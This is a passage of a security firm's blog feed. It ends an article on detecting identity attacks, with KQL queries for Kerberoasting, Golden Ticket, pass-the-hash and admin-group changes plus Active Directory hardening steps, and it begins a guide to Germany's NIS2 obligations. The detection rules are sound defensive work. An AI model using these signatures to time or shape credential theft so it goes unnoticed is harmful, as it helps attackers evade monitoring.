&lt;p&gt;&lt;strong&gt;2. Kerberoasting Detection:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;SecurityEvent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; EventID == &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4769&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TicketEncryptionType == &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;0x17&quot;&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // RC4 instead of AES!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TargetUserName &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!endswith&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;$&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ServiceName &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;!startswith&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;krbtgt&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;summarize&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; RequestCount = &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;count()&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; by&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; bin&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(TimeGenerated, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1h&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;), IpAddress&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; RequestCount &amp;gt; &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // &amp;gt;10 TGS in 1h → Kerberoasting!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. Golden Ticket (Long Lifetime):&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;SecurityEvent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; EventID == &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4769&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;extend&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TicketOptions = &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;extract&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;@&quot;Ticket Options:\s+0x(\w+)&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, EventData)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TicketOptions == &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;40810010&quot;&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // Forwarded + Renewable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TicketEndTime - TicketStartTime &amp;gt; &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;10h&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // &amp;gt;10h Lifetime&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. Impossible Travel:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;AADSignInEventsBeta  &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Microsoft 365 Defender&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;summarize&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; Locations = &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;make_set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(Location),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;            IPs = &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;make_set&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(IPAddress) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;by&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; UserPrincipalName, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;bin&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(TimeGenerated, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1h&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; array_length&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(Locations) &amp;gt; &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Manual review: Germany + USA in 1 hour?&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;high-alert-with-automated-response&quot;&gt;HIGH (Alert with automated response)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;5. Pass-the-Hash Indicators:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;SecurityEvent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; EventID == &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4624&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; LogonType == &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // NewCredentials (PtH indicator!)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; AuthenticationPackageName == &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;NTLM&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6. New Admin Group Membership:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;SecurityEvent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; EventID == &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;4728&lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // User added to security group&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; TargetUserName &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Domain Admins&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Enterprise Admins&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Schema Admins&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Immediate alert for every change to these groups!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;countermeasures-and-hardening&quot;&gt;Countermeasures and Hardening&lt;/h2&gt;
&lt;h3 id=&quot;immediately&quot;&gt;IMMEDIATELY&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Tiered Administration Model&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tier 0: DCs, PKI, Federation (Tier-0 admins ONLY!)&lt;/li&gt;
&lt;li&gt;Tier 1: Server administration&lt;/li&gt;
&lt;li&gt;Tier 2: Workstation administration&lt;/li&gt;
&lt;li&gt;No Tier 0 admin logs in to Tier 1/2 systems!&lt;/li&gt;
&lt;li&gt;Authentication Policy Silos + Kerberos Armoring&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. Rotate KRBTGT password&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Every 6-12 months (or after compromise)&lt;/li&gt;
&lt;li&gt;Rotate twice! (Kerberos interoperability: old password cached)&lt;/li&gt;
&lt;li&gt;Invalidates all Golden Tickets!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. Enforce Kerberos AES-only&lt;/strong&gt;
&amp;gt; Group Policy: Network Security → Kerberos Encryption Types → Disable RC4 → Makes Kerberos cracking more difficult (AES hashes are slower to crack!)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Protected Users Security Group&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Add DAs and EAs to the Protected Users group!&lt;/li&gt;
&lt;li&gt;Prevents: NTLM authentication, RC4 Kerberos, credential caching&lt;/li&gt;
&lt;li&gt;Kerberos tickets valid for max. 4 hours&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;5. Service Account Hardening&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Managed Service Accounts (MSA/gMSA) instead of regular accounts&lt;/li&gt;
&lt;li&gt;MSA: automatic password rotation, no interactive login&lt;/li&gt;
&lt;li&gt;LAPS for local admin passwords (each workstation individually!)&lt;/li&gt;
&lt;li&gt;Kerberoasting: Move SPNs to gMSAs (very long passwords = uncrackable)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;medium-term&quot;&gt;MEDIUM TERM&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;6. Privileged Identity Management (PIM)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Just-in-time admin access: Rights only when necessary, time-limited&lt;/li&gt;
&lt;li&gt;Azure AD PIM / CyberArk / BeyondTrust&lt;/li&gt;
&lt;li&gt;Every DA activation → Approval + ticket number required&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;7. Conditional Access with Identity Risk&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User Risk Policy: High → Force password reset&lt;/li&gt;
&lt;li&gt;Sign-In Risk: Medium → Force MFA&lt;/li&gt;
&lt;li&gt;Compliant Device: Only managed devices with Entra-Join&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;8. Credential Hygiene&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Have I Been Pwned integration: Block compromised passwords&lt;/li&gt;
&lt;li&gt;LAPS v2: Windows LAPS (integrated into Windows Server 2022/Windows 11)&lt;/li&gt;
&lt;li&gt;Prevent pass-the-hash attacks: Credential Guard (Hyper-V-based)&lt;/li&gt;
&lt;li&gt;Enable Windows Defender Credential Guard GPO!&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Identity attacks are the most common and dangerous attack vector in modern enterprise networks. ITDR bridges the gap between traditional SIEM tools and the realities of modern identity attacks. AWARE7 supports the implementation and evaluation of ITDR solutions as part of red team engagements and security architecture reviews.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/contact/&quot;&gt;Request an ITDR Assessment&lt;/a&gt; | &lt;a href=&quot;https://a7.de/en/services/penetration-testing/&quot;&gt;Active Directory Penetration Test&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Network &amp; Endpoint Security</category><author>kontakt@a7.de (Jan Hörnemann)</author></item><item><title>NIS2 Directive: The Complete Guide for Businesses in Germany</title><link>https://a7.de/en/blog/nis2-directive-the-complete-guide-for-businesses-in-germany/</link><guid isPermaLink="true">https://a7.de/en/blog/nis2-directive-the-complete-guide-for-businesses-in-germany/</guid><description>NIS2 in Germany: check if your company is affected, understand your legal obligations, and plan a compliant implementation.</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The NIS2 Directive is in effect, the implementation deadline has passed - and many companies still aren’t sure whether or how they are affected. This article provides complete clarity: Who is required to do what, which sectors and thresholds apply, what do the ten security measures under Article 21 entail, how do reporting obligations work, what penalties apply, and how does NIS2 relate to BSI IT-Grundschutz and ISO 27001.&lt;/p&gt;
&lt;p&gt;Internal links to relevant AWARE7 services: &lt;a href=&quot;https://a7.de/en/topics/nis2/&quot;&gt;NIS2 Consulting and Gap Analysis&lt;/a&gt;, &lt;a href=&quot;https://a7.de/en/services/security-consulting/isms-iso-27001/&quot;&gt;ISMS and ISO 27001 Consulting&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;what-is-nis2&quot;&gt;What is NIS2?&lt;/h2&gt;
&lt;p&gt;NIS2 (Network and Information Security Directive 2, EU 2022/2555) is the most comprehensive EU cybersecurity legislation in years. It replaced the original NIS Directive of 2016 and entered into force in October 2022. Member states had until October 2024 to transpose NIS2 into national law. In Germany, implementation was carried out through the &lt;strong&gt;NIS2UmsuCG (NIS-2 Implementation and Cybersecurity Strengthening Act)&lt;/strong&gt;. The competent authority in Germany is the BSI (Federal Office for Information Security).&lt;/p&gt;
&lt;p&gt;The core of the directive: mandatory cybersecurity measures and reporting obligations for operators of critical and important facilities. The scale: Instead of the approximately 4,500 companies that fell under the previous NIS1 Directive, the BSI estimates that NIS2 will affect around &lt;strong&gt;29,000 to 30,000 companies&lt;/strong&gt; - an increase by a factor of 15. Many of these are small and medium-sized enterprises that have had little to no experience with regulated security standards to date.&lt;/p&gt;
&lt;p&gt;A key feature of NIS2 compared to previous regulations is the &lt;strong&gt;personal liability of management bodies&lt;/strong&gt;. Managing directors and board members must actively approve and monitor security measures, participate in information security training themselves, and can be held personally liable in cases of gross negligence. Cybersecurity has thus become a top priority in the legal sense.&lt;/p&gt;
&lt;h2 id=&quot;who-is-affected-sectors-and-thresholds&quot;&gt;Who is affected? Sectors and thresholds&lt;/h2&gt;
&lt;p&gt;NIS2 distinguishes between &lt;strong&gt;essential entities&lt;/strong&gt; and &lt;strong&gt;important entities&lt;/strong&gt;. The classification depends on the sector and the size of the company. Both categories must implement appropriate security measures, but differ in the intensity of oversight and the scope of potential sanctions.&lt;/p&gt;
&lt;h3 id=&quot;the-size-threshold&quot;&gt;The Size Threshold&lt;/h3&gt;
&lt;div class=&quot;table-scroll&quot;&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Category&lt;/th&gt;&lt;th&gt;Criteria&lt;/th&gt;&lt;th&gt;NIS2 Status&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Large enterprises&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;≥ 250 employees OR revenue ≥ 50 million EUR OR balance sheet total ≥ 43 million EUR&lt;/td&gt;&lt;td&gt;Essential entity (if in a critical sector listed in Annex I)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Medium-sized enterprises&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;50-249 employees OR revenue of 10-50 million EUR OR balance sheet total of 10-43 million EUR&lt;/td&gt;&lt;td&gt;Essential or important facility depending on sector&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Small enterprises&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;10-49 employees OR revenue/balance sheet total of 2-10 million EUR&lt;/td&gt;&lt;td&gt;Annex I: important facility; Annex II: only in exceptional cases&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Microenterprises&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&amp;lt; 10 employees AND revenue/total assets &amp;lt; 2 million EUR&lt;/td&gt;&lt;td&gt;Generally exempt&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h3 id=&quot;high-criticality-sectors-annex-i&quot;&gt;High-Criticality Sectors (Annex I)&lt;/h3&gt;
&lt;p&gt;Enterprises in these sectors qualify as essential facilities under NIS2 if they meet the size thresholds:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Energy:&lt;/strong&gt; Electricity (generators, transmission, distribution), oil (pipelines, transport, storage), gas (suppliers, transmission, distribution), district heating, hydrogen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Transport:&lt;/strong&gt; Air (airports, airlines, air traffic control), rail (infrastructure operators, rail companies), water (maritime and inland waterway transport), road (road authorities, ITS operators).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Banking:&lt;/strong&gt; Credit institutions under CRR.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Financial market infrastructures:&lt;/strong&gt; Trading venues, central counterparties (CCPs).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Healthcare:&lt;/strong&gt; Hospitals and healthcare providers, laboratories, research institutions (pharmaceutical research), manufacturers of critical-class medical devices.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Drinking water:&lt;/strong&gt; Water utilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wastewater:&lt;/strong&gt; Wastewater utilities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Digital infrastructure:&lt;/strong&gt; Internet Exchange Points (IXPs), public DNS resolvers, TLD registrars, cloud computing services, data center services, CDN services, trust service providers, providers of public electronic communications networks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ICT Service Management (B2B):&lt;/strong&gt; Managed Service Providers (MSPs), Managed Security Service Providers (MSSPs), Security Operations Centers (SOCs).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Public Administration:&lt;/strong&gt; Central and regional authorities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Space:&lt;/strong&gt; Operators of ground infrastructure.&lt;/p&gt;
&lt;h3 id=&quot;other-critical-sectors-annex-ii&quot;&gt;Other Critical Sectors (Annex II)&lt;/h3&gt;
&lt;p&gt;Companies in these sectors are considered critical infrastructure if they have at least 50 employees or more than EUR 10 million in revenue:&lt;/p&gt;
&lt;p&gt;Postal and courier services, waste management, chemicals (manufacturers and distributors of hazardous chemicals), food (wholesale and industrial production), manufacturing (medical devices, computers and electronics, electrical equipment, mechanical engineering, motor vehicles, other vehicle manufacturing), digital services (online marketplaces, online search engines, social network platforms), research institutions.&lt;/p&gt;
&lt;h3 id=&quot;special-rules-smaller-companies-may-also-be-affected&quot;&gt;Special Rules: Smaller Companies May Also Be Affected&lt;/h3&gt;
&lt;p&gt;Regardless of size, the following are always affected: qualified trust service providers, TLD registrars and public DNS resolvers, providers of public communications networks, as well as critical infrastructure entities specifically designated by the state - for example, if a company is the sole provider of an essential service in a Member State.&lt;/p&gt;
&lt;h3 id=&quot;essential-vs-important-the-implications-of-classification&quot;&gt;Essential vs. Important: The implications of classification&lt;/h3&gt;
&lt;div class=&quot;table-scroll&quot;&gt;



















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Aspect&lt;/th&gt;&lt;th&gt;Essential facilities&lt;/th&gt;&lt;th&gt;Important facilities&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Supervision&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Proactive: BSI may conduct inspections without cause&lt;/td&gt;&lt;td&gt;Reactive: only upon suspicion or following a report&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fines&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Up to 10 million EUR or 2% of global annual turnover&lt;/td&gt;&lt;td&gt;Up to 7 million EUR or 1.4% of global annual turnover&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h3 id=&quot;the-self-check-3-questions&quot;&gt;The Self-Check: 3 Questions&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Am I large enough?&lt;/strong&gt; More than 50 employees or more than 10 million EUR in revenue?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Am I in the right sector?&lt;/strong&gt; One of the sectors listed in Annex I or Annex II?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Am I a supplier?&lt;/strong&gt; Even if you are not directly affected yourself: Your customers must be NIS2-compliant and will pass on security requirements to their supply chain.&lt;/p&gt;
&lt;h2 id=&quot;registration-requirement-with-the-bsi&quot;&gt;Registration Requirement with the BSI&lt;/h2&gt;
&lt;p&gt;Both essential and important entities must register with the BSI no later than three months after determining that they are affected. Registration is done via the portal bsi.bund.de.&lt;/p&gt;
&lt;p&gt;The following information must be provided: name and address of the entity, sector and type of entity (essential or important), contact details including 24/7 availability, IP address ranges of public systems, and the EU member states in which services are provided.&lt;/p&gt;
&lt;h2 id=&quot;the-10-security-measures-under-art-21-nis2&quot;&gt;The 10 Security Measures under Art. 21 NIS2&lt;/h2&gt;
&lt;p&gt;Art. 21(2) of the NIS2 Directive defines ten minimum measures. The wording is intentionally kept technology-neutral - the outcome is what matters, not the specific technology. Recognized standards such as ISO 27001 or BSI IT-Grundschutz can serve as proof of compliance.&lt;/p&gt;
&lt;h3 id=&quot;1-risk-analysis-and-security-policy&quot;&gt;1. Risk Analysis and Security Policy&lt;/h3&gt;
&lt;p&gt;Organizations must conduct a systematic risk analysis for all network and information systems, develop a security policy based on this analysis, and regularly review and update it. The best practice is based on ISO 31000 and ISO 27005: create an asset inventory, identify threats (threat modeling), assess vulnerabilities (CVSS scoring), evaluate risks based on probability of occurrence and impact, and create a documented risk treatment plan.&lt;/p&gt;
&lt;p&gt;Required documentation: risk register, risk treatment plan with responsible parties and deadlines, annual management review.&lt;/p&gt;
&lt;h3 id=&quot;2-incident-response&quot;&gt;2. Incident Response&lt;/h3&gt;
&lt;p&gt;Every affected company needs an incident response plan that includes a classification scheme (what constitutes a significant incident?), an escalation matrix (who informs whom?), a communication plan (internal, external, authorities), forensic procedures, and the defined reporting process to the BSI. For technical detection, SIEM solutions (e.g., Microsoft Sentinel, Splunk) and EDR systems (e.g., Microsoft Defender, CrowdStrike) are recommended on all endpoints.&lt;/p&gt;
&lt;p&gt;The plan must be documented and tested regularly. A designated Incident Commander and the contacts for the BSI, CERT-Bund, and law enforcement agencies must be established in advance.&lt;/p&gt;
&lt;h3 id=&quot;3-business-continuity-and-crisis-management-bcm&quot;&gt;3. Business Continuity and Crisis Management (BCM)&lt;/h3&gt;
&lt;p&gt;Organizations must define RTO (Recovery Time Objective) and RPO (Recovery Point Objective) for critical systems, implement a robust backup strategy (recommended: 3-2-1-1-0 rule), and conduct annual disaster recovery tests. A documented Business Continuity Plan (BCP) and crisis management processes are mandatory.&lt;/p&gt;
&lt;h3 id=&quot;4-supply-chain-security&quot;&gt;4. Supply Chain Security&lt;/h3&gt;
&lt;p&gt;NIS2 requires security throughout the entire supply chain, including relationships with direct suppliers. Companies must classify suppliers by criticality:&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Tier&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;th&gt;Assessment Requirement&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;TIER 1 (Critical)&lt;/td&gt;&lt;td&gt;Supplier has access to production systems&lt;/td&gt;&lt;td&gt;Full assessment prior to contract conclusion&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TIER 2 (Important)&lt;/td&gt;&lt;td&gt;Supplier processes sensitive data&lt;/td&gt;&lt;td&gt;Assessment prior to contract conclusion&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TIER 3 (Standard)&lt;/td&gt;&lt;td&gt;Standard supplier without IT access&lt;/td&gt;&lt;td&gt;Basic check&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;All relevant supplier contracts must include a security requirements appendix that governs audit rights, reporting obligations (supplier must report incidents within 24 hours), NDAs, and data protection (AVV, if personal data is processed). Responsibility always remains with the company itself - external partners do not relieve the company of its obligations.&lt;/p&gt;
&lt;h3 id=&quot;5-security-in-the-acquisition-development-and-maintenance-of-it-systems&quot;&gt;5. Security in the Acquisition, Development, and Maintenance of IT Systems&lt;/h3&gt;
&lt;p&gt;Security requirements must be defined prior to IT procurements. A Secure Development Lifecycle (SDLC) must be implemented for in-house software development. Systematic vulnerability management with defined patch SLAs (critical patches within 48 hours) and regular automated vulnerability scans are mandatory.&lt;/p&gt;
&lt;h3 id=&quot;6-measuring-the-effectiveness-of-security-measures&quot;&gt;6. Measuring the effectiveness of security measures&lt;/h3&gt;
